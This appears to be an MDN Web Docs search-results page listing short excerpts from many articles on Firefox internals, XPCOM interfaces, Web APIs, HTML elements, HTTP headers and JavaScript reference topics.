introduction sometimes you need to get a stacktrace (call stack) for a crash or hang but breakpad fails because it's a special crasher or a hang.
... this article describes how to get a stacktrace in those cases with windbg on windows.
...you can use any official nightly build or released version of firefox from mozilla.
...And 13 more matches
PBackground
pbackground is a mechanism available since gecko 30 (see bug 956218) that builds on top of ipdl to provide a solution to common problems that arise when handling multiple threads in the chrome process, for example communication between workers and multiple child processes and other parent-process worker threads.
... ipdl recap ipdl is a language used to define "protocols" — essentially formalized versions of how two things can communicate.
...at build time the ipdl compiler automatically generates a large amount of c++ glue code from the ipdl files.
...And 13 more matches
Add-on Manager
the add-on manager is responsible for managing all of the add-ons installed in the application.
... through its apis information about all installed add-ons can be retrieved and new add-ons can be installed.
... many functions in the add-on manager interface operate asynchronously returning results through callbacks passed to the functions.
...And 13 more matches
Add-on Repository
its api provides urls that can be visited to browse the repository's add-ons.
... these searches are asynchronous; results are passed to the provided searchcallback object when the search is completed.
... results passed to the searchcallback object only include add-ons that are compatible with the current application and are not already installed or in the process of being installed.
...And 13 more matches
NetUtil.jsm
to use these utilities, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/netutil.jsm"); once you've imported the module, you can then use its methods.
... method overview nsiasyncstreamcopier asynccopy(nsiinputstream asource, nsioutputstream asink, [optional] acallback) void asyncfetch(asource, acallback) nsichannel newchannel(awhattoload, [optional] aorigincharset, [optional] nsiuri abaseuri) nsiuri newuri(atarget, [optional] aorigincharset, [optional] nsiuri abaseuri) string readinputstreamtostring(ainputstream, acount, aoptions) attributes attribute type description ioservice nsiioservice returns a reference to nsiioservice.
...both streams are automatically closed when the copy operation is completed.
...And 13 more matches
NSS Tools pk12util
using the pkcs #12 tool (pk12util) newsgroup: mozilla.dev.tech.crypto the pkcs #12 utility makes sharing of certificates among enterprise server 3.x and any server (netscape products or non-netscape products) that supports pkcs#12 possible.
... the tool allows you to import certificates and keys from pkcs #12 files into nss or export them and also list certificates and keys in such files.
...three of the options, -i, -o, and -l, should be considered commands of the pk12util invocation.
...And 13 more matches
How to embed the JavaScript engine
a bare bones tutorial hello world sample embedding application the following code is a very simple application that shows how to embed spidermonkey and run a simple javascript script.
... spidermonkey 24 // following code might be needed in some case // #define __stdc_limit_macros // #include <stdint.h> #include "jsapi.h" /* the class of the global object.
...1; bool ok = js_evaluatescript(cx, global, script, strlen(script), filename, lineno, rval.address()); if (!ok) return 1; } jsstring *str = rval.tostring(); printf("%s\n", js_encodestring(cx, str)); } js_destroycontext(cx); js_destroyruntime(rt); js_shutdown(); return 0; } spidermonkey 31 // following code might be needed in some case // #define __stdc_limit_macros // #include <stdint.h> #include "jsapi.h" /* the class of the global object.
...And 13 more matches
64-bit Compatibility
the following types or typedefs are always 64-bit on 64-bit platforms, and 32-bit on 32-bit platforms: pointers uintptr_t, intptr_t, ptrdiff_t, (probably) size_t jsval jsuword, jsword length of a string, though the actual length cannot exceed 30 bits jsuintptr, jsintptr, jsptrdiff, jsuptrdiff, jssize, jsuword, jsword (let's not use these, kthx) the following types are 32-bit on 32-bit platforms.
...the compiler can implicitly sign or zero extend operands with unintended side effects.
...the best way to fix this is to make types explicit, such as: const uintptr_t pointer_tagbits = 3 or by using a cast inside the macro.
...And 13 more matches
imgIRequest
inherits from: nsirequest last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview void cancelandforgetobserver(in nsresult astatus); imgirequest clone(in imgidecoderobserver aobserver); void decrementanimationconsumers(); imgirequest getstaticrequest(); void incrementanimationconsumers(); void lockimage(); void requestdecode(); void unlockimage(); attributes attribute type description corsmode long the cors mode that this image was loaded with.
... status_size_available 0x1 we received enough image data from the network or filesystem that we know the width and height of the image, and have thus called setsize() on the container.
... status_load_partial 0x2 used internally by imgrequest to flag that a request is being cancelled as a result of a failure of a proxy holder and not an internal failure.
...And 13 more matches
mozIJSSubScriptLoader
js/xpconnect/idl/mozijssubscriptloader.idlscriptable this interface can be used from privileged javascript to load and run javascript code from the given url at runtime.
...as of gecko 8.0, scripts are loaded from the startup cache where possible.
...additionally, properties of the targetobj target object can be referred to as variables in the loaded script.
...And 13 more matches
mozITXTToHTMLConv
lconv;1 as a service: var ios = components.classes["@mozilla.org/txttohtmlconv;1"] .getservice(components.interfaces.mozitxttohtmlconv); method overview unsigned long citeleveltxt(in wstring line, out unsigned long loglinestart) void findurlinplaintext(in wstring text, in long alength, in long apos, out long astartpos, out long aendpos) wstring scanhtml(in wstring text, in unsigned long whattodo) wstring scantxt(in wstring text, in unsigned long whattodo) constants conversion control attributes these bits allow you to control the conversion of text into html.
... methods scantxt() scans the specified text, applying the requested conversions and outputting html.
... wstring scantxt( in wstring text, in unsigned long whattodo ); parameters text the original, plain text to scan and convert into html.
...And 13 more matches
nsIAccessibleText
void removeselection(in long selectionnum); void scrollsubstringto(in long startindex, in long endindex, in unsigned long scrolltype); void scrollsubstringtopoint(in long startindex, in long endindex, in unsigned long coordinatetype, in long x, in long y); void setselectionbounds(in long selectionnum, in long startoffset, in long endoffset); attributes attribute type description caretoffset long the current current caret offset.
... if set < 0 then caret will be placed at the end of the text.
... text_offset_caret -2 will be treated as the caret position.
...And 13 more matches
nsIClipboardDragDropHooks
if more than one implementation is set for a window, the hooks will be called in the order they are added.
... adding the same hook to the same window will not add a second call.
... each hook can only be called once per user action/api.
...And 13 more matches
nsIContentPrefService
to create an instance, use: var contentprefservice = components.classes["@mozilla.org/content-pref/service;1"] .getservice(components.interfaces.nsicontentprefservice); method overview void addobserver(in astring aname, in nsicontentprefobserver aobserver); nsivariant getpref(in nsivariant agroup, in astring aname, [optional] in nsicontentprefcallback acallback); nsipropertybag2 getprefs(in nsivariant agroup); nsipropertybag2 getprefsbyname(in astring aname); boolean haspref(in nsivariant agroup, in astring aname); void removegroupedprefs(); void removeobserver(in astring aname, in nsicontentprefobserver aobserver); void removepref(in nsivariant agroup, in astring aname); v...
...useful for accessing and manipulating preferences in ways that are caller-specific or for which there is not yet a generic method, although generic functionality useful to multiple callers should generally be added to this unfrozen interface.
... aobserver the name of an object implementing nsicontentprefobserver that will receive notifications of changes to the preference's value.
...And 13 more matches
nsIContentViewer
to create an instance, use: var contentviewer = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsicontentviewer); method overview void clearhistoryentry(); void close(in nsishentry historyentry); void destroy(); [noscript,notxpcom,nostdcall] nsiviewptr findcontainerview(); void getbounds(in nsintrectref abounds); native code only!
... void loadcomplete(in unsigned long astatus); void loadstart(in nsisupports adoc); void move(in long ax, in long ay); void open(in nsisupports astate, in nsishentry ashentry); void pagehide(in boolean isunload); boolean permitunload([optional] in boolean acallercloseswindow); boolean requestwindowclose(); void resetclosewindow(); void setbounds([const] in nsintrectref abounds); native code only!
... [noscript,notxpcom,nostdcall] void setnavigationtiming(in nsdomnavigationtimingptr atiming); void setpagemode(in boolean apagemode, in nsiprintsettings aprintsettings); void show(); void stop(); void unload(); obsolete since gecko 1.8 attributes attribute type description container nsisupports domdocument nsidomdocument enablerendering boolean obsolete since gecko 2.0 historyentry nsishentry get the history entry that this viewer will save itself into when destroyed.
...And 13 more matches
nsIMsgDatabase
last changed in gecko 1.9 (firefox 3) inherits from: nsidbchangeannouncer method overview void open(in nsilocalfile afoldername, in boolean acreate, in boolean aleaveinvaliddb); void forcefolderdbclosed(in nsimsgfolder afolder); void close(in boolean aforcecommit); void commit(in nsmsgdbcommit committype); void forceclosed(); void clearcachedhdrs; void resethdrcachesize(in unsigned long size); nsimsgdbhdr getmsghdrforkey(in nsmsgkey key); nsimsgdbhdr getmsghdrformessageid(in string messageid); boolean containskey(in nsmsgkey key); nsimsgdbhdr createnewhdr(in nsmsgkey ...
... void getnewlist(out unsigned long count, array, size_is(count) out nsmsgkey newkeys); nsisimpleenumerator getcachedhits(in string asearchfolderuri); void refreshcache(in string asearchfolderuri, in unsigned long anumkeys, array, size_is (anumkeys) in nsmsgkey anewhits, out unsigned long anumbadhits, array, size_is(anumbadhits) out nsmsgkey astalehits); void updatehdrincache(in string asearchfolderuri, in nsimsgdbhdr ahdr, in boolean aadd); boolean hdrisincache(in string asearchfolderuri, in nsimsgdbh...
... defaultviewflags nsmsgviewflagstypevalue readonly: defaultsorttype nsmsgviewsorttypevalue readonly: defaultsortorder nsmsgviewsortordervalue readonly: msghdrcachesize unsigned long folderstream nsioutputstream summaryvalid boolean methods open() opens a database folder.
...And 13 more matches
nsINavBookmarkObserver
it is called before the actual removal takes place.
...other notifications will be sent during the batch change, but the observer is guaranteed that onendupdatebatch() will be called at the completion of changes.
... during a batch the observer should do its best to reduce the work done to handle notifications, since multiple changes are going to happen in a short timeframe.
...And 13 more matches
nsIUpdateItem
method overview void init(in astring id, in astring version, in astring installlocationkey, in astring minappversion, in astring maxappversion, in astring name, in astring downloadurl, in astring xpihash, in astring iconurl, in astring updateurl, in astring updatekey, in long type, in astring targetappid); attributes attribute type description iconurl astring the url of the icon that can be shown for this item.
... installlocationkey astring the name of the install location where this item is installed.
... maxappversion astring the maximum version of the application that this item works with, in fvf format.
...And 13 more matches
XPCOM Interface Reference
component; nsiprefbranchextensionmanager (toolkit)iaccessible2iaccessibleactioniaccessibleapplicationiaccessiblecomponentiaccessibleeditabletextiaccessiblehyperlinkiaccessiblehypertextiaccessibleimageiaccessiblerelationiaccessibletableiaccessibletable2iaccessibletablecelliaccessibletextiaccessiblevalueidispatchijsdebuggeramiinstallcallbackamiinstalltriggeramiwebinstallinfoamiwebinstalllisteneramiwebinstallpromptamiwebinstallerimgicacheimgicontainerimgicontainerobserverimgidecoderimgidecoderobserverimgiencoderimgiloaderimgirequestinidomutilsjsdistackframemoziasyncfaviconsmoziasynchistorymozicoloranalyzermozijssubscriptloadermozipersonaldictionarymoziplaceinfomoziplacesautocompletemoziregistrymozirepresentat...
...ivecolorcallbackmozispellcheckingenginemozistorageaggregatefunctionmozistorageasyncstatementmozistoragebindingparamsmozistoragebindingparamsarraymozistoragecompletioncallbackmozistorageconnectionmozistorageerrormozistoragefunctionmozistoragependingstatementmozistorageprogresshandlermozistorageresultsetmozistoragerowmozistorageservicemozistoragestatementmozistoragestatementcallbackmozistoragestatementparamsmozistoragestatementrowmozistoragestatementwrappermozistoragevacuumparticipantmozistoragevaluearraymozitxttohtmlconvmozithirdpartyutilmozivisitinfomozivisitinfocallbackmozivisitstatuscallbacknsiabcardnsiaboutmodulensiabstractworkernsiaccelerometerupdatensiaccessnodensiaccessibilityservicensiaccessiblensiaccessiblecaretmoveeventnsiaccessiblecoordinatetypensiaccessibledocumentnsiaccessibleedi...
...tabletextnsiaccessibleeventnsiaccessiblehyperlinknsiaccessiblehypertextnsiaccessibleimagensiaccessibleprovidernsiaccessiblerelationnsiaccessibleretrievalnsiaccessiblerolensiaccessiblescrolltypensiaccessibleselectablensiaccessiblestatechangeeventnsiaccessiblestatesnsiaccessibletablensiaccessibletablecellnsiaccessibletablechangeeventnsiaccessibletextnsiaccessibletextchangeeventnsiaccessibletreecachensiaccessiblevaluensiaccessiblewin32objectnsialertsservicensiannotationobservernsiannotationservicensiappshellnsiappshellservicensiappstartupnsiappstartup_mozilla_2_0nsiapplicationcachensiapplicationcachechannelnsiapplicationcachecontainernsiapplicationcachenamespacensiapplicationcacheservicensiapplicationupdateservicensiarraynsiasyncinputstreamnsiasyncoutputstreamnsiasyncstreamcopiernsiasyncverifyr...
...And 13 more matches
XPCOM Interface Reference by grouping
01, 2010) list of mozilla interfaces as listed on the xpcom interface reference page where that page lists items by alphabetical sorting, this page attempts to group them by function.
... grouping and category names were made by somewhat arbitrary decision by the author.
... security this section contains apis for secure channel communications system this section contains application level interfaces including calls to external support elements (such as device calls).
...And 13 more matches
Debugger.Environment - Firefox Developer Tools
a debugger.environment instance represents a lexical environment, associating names with variables.
... ecmascript environments form a tree, in which each local environment is parented by its enclosing environment (in ecmascript terms, its ‘outer’ environment).
... spidermonkey creates debugger.environment instances as needed as the debugger inspects stack frames and function objects; calling debugger.environment as a function or constructor raises a typeerror exception.
...And 13 more matches
Responsive Design Mode - Firefox Developer Tools
note: the device you select when in responsive design mode and the orientation (portrait or landscape) is saved between sessions.
... screen size - you can edit the width and height values to change the device size by editing a number directly or using the up and down keys to increase or decrease the value by 1 pixels on each keypress or hold and shift to change the value by 10.
... the mouse wheel changes the size values by 1 pixel at a time you can also change the device's screen size by grabbing the bottom-right corner of the viewport and dragging it to the size you want.
...And 13 more matches
AudioWorkletProcessor.process - Web APIs
the method is called synchronously from the audio rendering thread, once for each block of audio (also known as a rendering quantum) being directed through the processor's corresponding audioworkletnode.
...however, plans are already in place to revise the specification to allow the size of the audio blocks to be changed depending on circumstances (for example, if the audio hardware or cpu utilization is more efficient with larger block sizes).
...the values of the array are calculated by taking scheduled automation events into consideration.
...And 13 more matches
Managing screen orientation - Web APIs
even if a device doesn't have the capacity to detect its own orientation, a screen always has one.
... and if a device is able to know its orientation, it's good to have the ability to control the screen orientation in order to preserve or adapt the interface of a web application.
...this lets content adjust its layout using css, based on whether the browser window is in landscape mode (that is, its width is greater than its height) or portrait mode (its height is greater than its width).
...And 13 more matches
DOMException - Web APIs
the domexception interface represents an abnormal event (called an exception) that occurs as a result of calling a method or accessing a property of a web api.
... this is basically how error conditions are described in web apis.
... each exception has a name, which is a short "camelcase" style string identifying the error or abnormal condition.
...And 13 more matches
DataTransferItem.webkitGetAsEntry() - Web APIs
example in this example, a drop zone is created, which responds to the drop event by scanning through the dropped files and directories, outputting a hierarchical directory listing.
... #dropzone { text-align: center; width: 300px; height: 100px; margin: 10px; padding: 10px; border: 4px dashed red; border-radius: 10px; } #boxtitle { display: table-cell; vertical-align: middle; text-align: center; color: black; font: bold 2em "arial", sans-serif; width: 300px; height: 100px; } body { font: 14px "arial", sans-serif; } javascript content first, let's look at the recursive scanfiles() function.
... this function takes as input a filesystementry representing an entry in the file system to be scanned and processed (the item parameter), and an element into which to insert the list of contents (the container parameter).
...And 13 more matches
LockManager.request() - Web APIs
the requested lock is passed to a callback, while the function itself returns a promise that resolves with undefined.
...when an "exclusive" lock for a given name is held, no other lock with the same name can be held.
... request a "shared" lock when multiple instances of the code can share access to a resource.
...And 13 more matches
MediaDevices.ondevicechange - Web APIs
the mediadevices.ondevicechange property is an eventhandler which specifies a function to be called when the devicechange event occurs on a mediadevices instance.
...you can at any time use enumeratedevices() to get the updated list of available devices.
... example in this example, we create a function called updatedevicelist(), which is called once when mediadevices.getusermedia() successfully obtains a stream, and then is called any time the device list changes.
...And 13 more matches
Web-based protocol handlers - Web APIs
an example is the mailto: protocol: <a href="mailto:webmaster@example.com">web master</a> web authors can use a mailto: link when they want to provide a convenient way for users to send an email, directly from the webpage.
... when the link is activated, the browser should launch the default desktop application for handling email.
... you can think of this as a desktop-based protocol handler.
...And 13 more matches
Payment processing concepts - Web APIs
the payer authenticates themselves, then authorizes payment, as required by the payment method.
... payment method the instrument by which payment is submitted, such as a credit card or online payment service.
...for example, when using a credit card to pay, the credit card processing service is the payment method provider.
...And 13 more matches
Push API - Web APIs
WebAPIPush API
the push api gives web applications the ability to receive messages pushed to them from a server, whether or not the web app is in the foreground, or even currently loaded, on a user agent.
... this lets developers deliver asynchronous notifications and updates to users that opt in, resulting in better engagement with timely new content.
...when the service worker is active, it can subscribe to push notifications, using pushmanager.subscribe().
...And 13 more matches
RTCOutboundRtpStreamStats - Web APIs
averagertcpinterval a floating-point value indicating the average rtcp interval between two consecutive compound rtcp packets.
... fircount an integer value which indicates the total number of full intra request (fir) packets which this rtcrtpsender has sent to the remote rtcrtpreceiver.
... this is an indicator of how often the stream has lagged, requiring frames to be skipped in order to catch up.
...And 13 more matches
RTCRtpStreamStats - Web APIs
while the dictionary has a base set of properties that are present in each of these cases, there are also additional properties added depending on which interface the method is called on.
... note: this interface was called rtcrtpstreamstats until a specification update in the spring of 2017.
...this value will match that of the media type indicated by rtccodecstats.codec, as well as the track's kind property.
...And 13 more matches
Using the Resource Timing API - Web APIs
the resource timing api provides a way to retrieve and analyze detailed network timing data regarding the loading of an application's resource(s).
... an application can use the timing metrics to determine, for example, the length of time it takes to fetch a specific resource such as an xmlhttprequest, <svg>, image, script, etc.).
... resource loading phases an application can get timestamps for the various phases of resource loading such as redirection, dns lookup, and tcp connection setup.
...And 13 more matches
Using server-sent events - Web APIs
developing a web application that uses server-sent events is straightforward.
... you'll need a bit of code on the server to stream events to the front-end, but the client side code works almost identically to websockets in part of handling incoming events.
... this is one-way connection, so you can't send events from a client to a server.
...And 13 more matches
SubtleCrypto.importKey() - Web APIs
the importkey() method of the subtlecrypto interface imports a key: that is, it takes as input a key in an external, portable format and gives you a cryptokey object that you can use in the web crypto api.
...it can be one of the following: raw: raw format.
... extractable is a boolean indicating whether it will be possible to export the key using subtlecrypto.exportkey() or subtlecrypto.wrapkey().
...And 13 more matches
SubtleCrypto - Web APIs
it's very easy to misuse them, and the pitfalls involved can be very subtle.
... errors in security system design and implementation can make the security of the system completely ineffective.
... subtlecrypto.verify() returns a promise that fulfills with a boolean value indicating if the signature given as a parameter matches the text, algorithm, and key that are also given as parameters.
...And 13 more matches
Writing a WebSocket server in C# - Web APIs
you can do it in any server-side language, but to keep things simple and more understandable, i chose microsoft's language.
... first steps websockets communicate over a tcp (transmission control protocol) connection.
... tcplistener constructor: tcplistener(system.net.ipaddress localaddr, int port) localaddr specifies the ip of the listener, and port specifies the port.
...And 13 more matches
WindowOrWorkerGlobalScope.fetch() - Web APIs
note: the fetch() method's parameters are identical to those of the request() constructor.
...this can either be: a usvstring containing the direct url of the resource you want to fetch.
... body any body that you want to add to your request: this can be a blob, buffersource, formdata, urlsearchparams, usvstring, or readablestream object.
...And 13 more matches
XRSession.requestAnimationFrame() - Web APIs
the xrsession method requestanimationframe(), much like the window method of the same name, schedules a callback to be executed the next time the browser is ready to paint the session's virtual environment to the xr display.
... the specified callback is executed once before the next repaint; if you wish for it to be executed for the following repaint, you must call requestanimationframe() again.
... this can be done from within the callback itself.
...And 13 more matches
ARIA: figure role - Accessibility
the aria figure role can be used to identify a figure inside page content where appropriate semantics do not already exist.
... <div role="figure" aria-labelledby="caption"> <img src="image.png" alt="full alternative image description"> <p id="caption">figure 1: the caption</p> </div> in the above example, we have a figure that consists of two separate content items — an image and a caption.
...along with the <figcaption> element.
...And 13 more matches
Understanding the Web Content Accessibility Guidelines - Accessibility
this set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the w3c web content accessibility guidelines 2.0 or 2.1 (or just wcag, for the purposes of this writing).
... the wcag 2.0 and 2.1 provide a detailed set of guidelines for making web content more accessible to people with a wide variety of disabilities.
...for this reason, we have summarised the practical steps you need to take to satisfy the different recommendations, with further links to more details where required.
...And 13 more matches
Video player styling basics - Developer guides
the example in action you can find the code for the updated, styled example on github, and view it live.
... preliminary modifications from the original example this section summarises the modifications that were made to the original video player example to make the styling task easier, before the bulk of the work was started.
... note: in some cases some basic css is omitted from the code examples here as its use is either obvious or not specifically relevant to styling the video player.
...And 13 more matches
<details>: The Details disclosure element - HTML: Hypertext Markup Language
WebHTMLElementdetails
a summary or label can be provided using the <summary> element.
... a disclosure widget is typically presented onscreen using a small triangle which rotates (or twists) to indicate open/closed status, with a label next to the triangle.
... note: the common use of a triangle which rotates or twists around to represent opening or closing the widget is why these are sometimes called "twisties." a <details> widget can be in one of two states.
...And 13 more matches
<input type="hidden"> - HTML: Hypertext Markup Language
WebHTMLElementinputhidden
<input> elements of type hidden let web developers include data that cannot be seen or modified by users when a form is submitted.
...hidden inputs cannot be focused even using javascript (e.g.
...this specifically can't be edited or seen by the user via the user interface, although you could edit the value via browser developer tools.
...And 13 more matches
<u>: The Unarticulated Annotation (Underline) element - HTML: Hypertext Markup Language
WebHTMLElementu
the html unarticulated annotation element (<u>) represents a span of inline text which should be rendered in a way that indicates that it has a non-textual annotation.
... this element used to be called the "underline" element in older versions of html, and is still sometimes misused in this way.
... content categories flow content, phrasing content, palpable content.
...And 13 more matches
itemtype - HTML: Hypertext Markup Language
the global attribute itemtype specifies the url of the vocabulary that will be used to define itemprop's (item properties) in the data structure.
... itemscope is used to set the scope of where in the data structure the vocabulary set by itemtype will be active.
... google and other major search engines support the schema.org vocabulary for structured data.
...And 13 more matches
HTML: Hypertext Markup Language
WebHTML
html markup includes special "elements" such as <head>, <title>, <body>, <header>, <footer>, <article>, <section>, <p>, <div>, <span>, <img>, <aside>, <audio>, <canvas>, <datalist>, <details>, <embed>, <nav>, <output>, <progress>, <video>, <ul>, <ol>, <li> and many others.
... the name of an element inside a tag is case insensitive.
... that is, it can be written in uppercase, lowercase, or a mixture.
...And 13 more matches
Identifying resources on the Web - HTTP
the target of an http request is called a "resource", whose nature isn't defined further; it can be a document, a photo, or anything else.
... the identity and the location of resources on the web are mostly given by a single url (uniform resource locator, a kind of uri).
... there are sometimes reasons identity and location are not given by the same uri: http uses a specific http header, alt-svc when the resource requested wants the client to access it at another location.
...And 13 more matches
Clear-Site-Data - HTTP
the clear-site-data header clears browsing data (cookies, storage, cache) associated with the requesting website.
... it allows web developers to have more control over the data stored locally by a browser for their origins.
...if all types of data should be cleared, the wildcard directive ("*") can be used.
...And 13 more matches
CSP: script-src - HTTP
this includes not only urls loaded directly into <script> elements, but also things like inline script event handlers (onclick) and xslt stylesheets which can trigger script execution.
... syntax one or more sources can be allowed for the script-src policy: content-security-policy: script-src <source>; content-security-policy: script-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 13 more matches
CSP: style-src - HTTP
syntax one or more sources can be allowed for the style-src policy: content-security-policy: style-src <source>; content-security-policy: style-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...you can also specify data schemes (not recommended).
...And 13 more matches
Firefox user agent string reference - HTTP
this document describes the user agent string used in firefox 4 and later and applications based on gecko 2.0 and later.
...note that platform can consist of multiple "; "-separated tokens.
... rv:geckoversion indicates the release version of gecko (such as "17.0").
...And 13 more matches
Proxy servers and tunneling - HTTP
a proxy can be on the user's local computer, or anywhere between the user's computer and a destination server on the internet.
... there are two types of proxies: forward proxies (or tunnel, or gateway) and reverse proxies (used to control and protect access to a server for load-balancing, authentication, decryption or caching).
... forward proxies can also be anonymous proxies and allow users to hide their ip address while browsing the web or using other internet services.
...And 13 more matches
About JavaScript - JavaScript
javascript runs on the client side of the web, which can be used to design / program how the web pages behave on the occurrence of an event.
...catch blocks function the same as in these languages (or nearly so).
... javascript can function as both a procedural and an object oriented language.
...And 13 more matches
getter - JavaScript
the get syntax binds an object property to a function that will be called when that property is looked up.
... expression starting with ecmascript 2015, you can also use expressions for a computed property name to bind to the given function.
... description sometimes it is desirable to allow access to a property that returns a dynamically computed value, or you may want to reflect the status of an internal variable without requiring the use of explicit method calls.
...And 13 more matches
Object.create() - JavaScript
custom and null objects a new object created from a completely custom object (especially one created from the null object, which is basically a custom object with no members) can behave in unexpected ways.
...however, when attempting to actually use these objects, their differences quickly become apparent: > "oco is: " + oco // shows "oco is: [object object]" > "ocn is: " + ocn // throws error: cannot convert object to primitive value testing just a few of the many most basic built-in functions shows the magnitude of the problem more clearly: > alert(oco) // shows [object object] > alert(ocn) // throws error: cannot convert object to primitive value > oco.tostring() // shows [object object] > ocn.tostring() // throws error: ocn.tostring is not a function > oco.valueof() // shows {} > ...
...ocn.valueof() // throws error: ocn.valueof is not a function > oco.hasownproperty("p") // shows "true" > ocn.hasownproperty("p") // throws error: ocn.hasownproperty is not a function > oco.constructor // shows "object() { [native code] }" > ocn.constructor // shows "undefined" as said, these differences can make debugging even simple-seeming problems quickly go astray.
...And 13 more matches
Object.freeze() - JavaScript
a frozen object can no longer be changed; freezing an object prevents new properties from being added to it, existing properties from being removed, prevents changing the enumerability, configurability, or writability of existing properties, and prevents the values of existing properties from being changed.
... description nothing can be added to or removed from the properties set of a frozen object.
... for data properties of a frozen object, values cannot be changed, the writable and configurable attributes are set to false.
...And 13 more matches
TypedArray - JavaScript
on the following pages you will find common properties and methods that can be used with any typed array containing elements of any type.
... calling it or using it in a new expression will throw a typeerror, except when used during object creation in js engines that support subclassing.
...6array 0 to 65535 2 16-bit unsigned integer unsigned short uint16_t int32array -2147483648 to 2147483647 4 32-bit two's complement signed integer long int32_t uint32array 0 to 4294967295 4 32-bit unsigned integer unsigned long uint32_t float32array 1.2×10-38 to 3.4×1038 4 32-bit ieee floating point number (7 significant digits e.g., 1.1234567) unrestricted float float float64array 5.0×10-324 to 1.8×10308 8 64-bit ieee floating point number (16 significant digits e.g., 1.123...15) unrestricted double double bigint64array -263 to 263-1 8 64-bit two's complement signed integer bigint int64_t (signed long long) biguint64array 0 to 264-1 8 64...
...And 13 more matches
yield - JavaScript
description the yield keyword pauses generator function execution and the value of the expression following the yield keyword is returned to the generator's caller.
... it can be thought of as a generator-based version of the return keyword.
... yield can only be called directly from the generator function that contains it.
...And 13 more matches
Privacy, permissions, and information security
personally identifiable information personally identifiable information (pii) is information which can be used, in whole or in part, to track down and/or identify a specific person.
... personally identification can include information like usernames, real names, passwords, phone numbers or addresses (or even portions of them), information about medical history, social security numbers, driver licenses, or any other form of id or id number, credit card information, and so forth.
...whenever working with data, always stop and think: is there any way this can be used to even through many steps identify a specific person?
...And 13 more matches
Module structure of the SDK - Archive of obsolete content
commonjs defines: an object called exports which contains all the objects which a commonjs module wants to make available to other modules a function called require which a module can use to import the exports object of another module.
... local modules: each of the javascript files under your add-on's "lib" directory.
... low-level modules like heritage and namespace provide more powerful functionality, and are typically less stable and more complex.
...And 12 more matches
ui/toolbar - Archive of obsolete content
unlike a panel, a toolbar: does not overlap with any web content is persistent, remaining visible until the user chooses to close it is a fixed size, and appears in a fixed location usage creating and destroying toolbars you don't specify toolbar content directly: instead, you create other ui components and supply them to the toolbar constructor.
... you can supply three sorts of ui components: action buttons toggle buttons frames this add-on builds part of the user interface for a music player using action buttons for the controls and a frame to display art and the currently playing song: var { actionbutton } = require('sdk/ui/button/action'); var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var previous = actionbutton({ id: "previous", label: "previous", icon: "./icons/previous.png" }); var next = actionbutton({ id: "next", label: "next", icon: "./icons/next.png" }); var play = actionbutton({ id: "play", label: "play", icon: "./icons/play.png" }); var frame = new frame({ url: "./frame-player.html" }); var toolbar = toolbar({ title: "player", items: [previous, ne...
...xt, play, frame] }); the toolbar appears just above the content window: to destroy a toolbar call its destroy() method.
...And 12 more matches
Creating annotations - Archive of obsolete content
deprecated in firefox 29 and removed in firefox 38.
... the widget api is deprecated from firefox 29 onwards.
... we'll use two objects to create annotations: a page-mod to find page elements that the user can annotate, and a panel for the user to enter the annotation text itself.
...And 12 more matches
Getting Started (jpm) - Archive of obsolete content
the current tool is called jpm, and is based on node.js.
... you can use jpm from firefox 38 onwards.
... implementing the add-on now you can write the add-on's code.
...And 12 more matches
Developing for Firefox Mobile - Archive of obsolete content
with the add-on sdk you can develop add-ons that run on this new version of firefox mobile as well as on the desktop version of firefox.
... you can use the same code to target both desktop firefox and firefox mobile, and use jpm-mobile instead of the normal jpm.
...we'll use the android debug bridge (adb) to communicate between the add-on sdk and the device.
...And 12 more matches
Forms related code snippets - Archive of obsolete content
|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html |*| \*/ (function () { function datepicker (otarget) { const otable = document.createelement("table"), ohrow = document.createelement("tr"), othead = document.createelement("thead"), ocapt = document.createelement("caption"), odecryear = document.createelement("span"), oincryear = document.createelement("span"), odecrmonth = document.createelement("span"), oincrmonth = document.createelement("span"); var nid = ainstances.length, oth; this.target = otarget; this.display = document.createelement("span"); this.current = new date(); this.conta...
...iner = otable; this.display.classname = sprefs + "-current-month"; this.id = nid; otable.classname = sprefs + "-calendar"; otable.id = sprefs + "-cal-" + nid; odecryear.classname = sprefs + "-decrease-year"; odecrmonth.classname = sprefs + "-decrease-month"; oincrmonth.classname = sprefs + "-increase-month"; oincryear.classname = sprefs + "-increase-year"; odecryear.innerhtml = "\u00ab"; /* &laquo; */ odecrmonth.innerhtml = "\u003c"; /* &lt; */ oincrmonth.innerhtml = "\u003e"; /* &gt; */ oincryear.innerhtml = "\u00bb"; /* &raquo; */ odecryear.id = sprefs + "-decr-year-" + nid; odecrmonth.id = sprefs + "-decr-month-" + nid; oincrmonth.id = sprefs + "-incr-month-" + nid; oincryear.id = sprefs + "-incr-year-" + nid; odecryear.o...
...nmousedown = oincryear.onmousedown = odecrmonth.onmousedown = oincrmonth.onmousedown = onheadclick; for (var nthid = 0; nthid < 7; nthid++) { oth = document.createelement("th"); oth.innerhtml = sdays[nthid]; ohrow.appendchild(oth); } othead.appendchild(ohrow); ocapt.appendchild(odecryear); ocapt.appendchild(odecrmonth); ocapt.appendchild(oincryear); ocapt.appendchild(oincrmonth); ocapt.appendchild(this.display); this.container.appendchild(ocapt); this.container.appendchild(othead); this.current.setdate(1); this.writedays(); otarget.onclick = function () { if (otable.parentnode) { otable.parentnode.removechild(otable); return; } otable.style.zindex = nzindex++; otable.style.position = "absolute"; ...
...And 12 more matches
Progress Listeners - Archive of obsolete content
note that if you just want to execute your code each time a page loads, you can use an an easier method, onpageload().
... in the examples below the progress listener is attached to the tabbrowser, which means you don't get any notifications for inactive tabs.
